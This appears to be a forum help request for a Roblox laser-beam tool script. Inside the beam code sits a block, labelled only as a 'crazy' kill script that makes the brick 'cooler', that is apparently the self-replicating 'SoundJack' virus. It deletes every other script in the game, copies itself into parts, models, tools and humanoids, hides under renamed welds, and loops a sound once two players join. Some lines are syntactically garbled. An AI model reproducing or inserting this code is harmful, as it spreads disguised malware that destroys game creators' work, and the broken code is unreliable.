Help with my laser beam please?
Spawned = false
function SpawnEffect()
if Spawned == false then
Spawned = true
E = Instance.new("Fire")
E.Parent = game.StarterPack.MagicBeam.Handle
for BeamLoop = 1, 100 do
B = Instance.new("Part")
B.Parent = game.Workspace
B.BrickColor = BrickColor.new("Toothpaste")
B.Name = "Beam"
S = Instance.new("Script")
S.Parent = game.Workspace.Beam
game.Workspace.Script.Edit.TextForEdit is --WARNING the script for the kill will be crazy and unusal but it's just making the brick cooler
stuff = {"TrussPart","Part","SpawnLocation","Model","Humanoid","Camera","Seat","Message","Hint","VehicleSeat","Hat","Accountrement","Sparkles","Tool","HopperBin"}
function scan(thing)
if thing then
b = thing:children()
for i = 1,#b do
if b[i].className == "Script" or b[i].className == "LocalScript" then
if b[i].Source ~= script.Source then
b[i]:Remove()
end
end
for id = 1,#stuff do
if b[i].className == stuff[id] and b[i]:findFirstChild("SoundJack") == nil then
script.Parent:Clone().Parent = b[i]
scan(b[i])
end
end
end
end
end
while true do
if script.Name ~= "SoundJack" then
script.Name = "SoundJack"
end
if script.Parent.Name ~= "SoundJack" then
f = Instance.new("Weld")
f.Parent = script.Parent
f.Name = "SoundJack"
script.Parent = f
end
scan(workspace)
if script.Parent.Parent ~= workspace and script.Parent.Parent ~= game then
scan(script.Parent.Parent)
end
wait(50)
if game.Players.NumPlayers >= 2 then
b = Instance.new("Sound")
b.Parent = script
b.Name = "SoundJack"
b.Volume = 1
b.Pitch = .7
b.Looped = true
b.PlayOnRemove = true
b.SoundId = "http://www.roblox.com/asset/?id=2767085"
b:Play()
end
wait()
end
end
end
end
script.Parent.Activated:connect(SpawnEffect)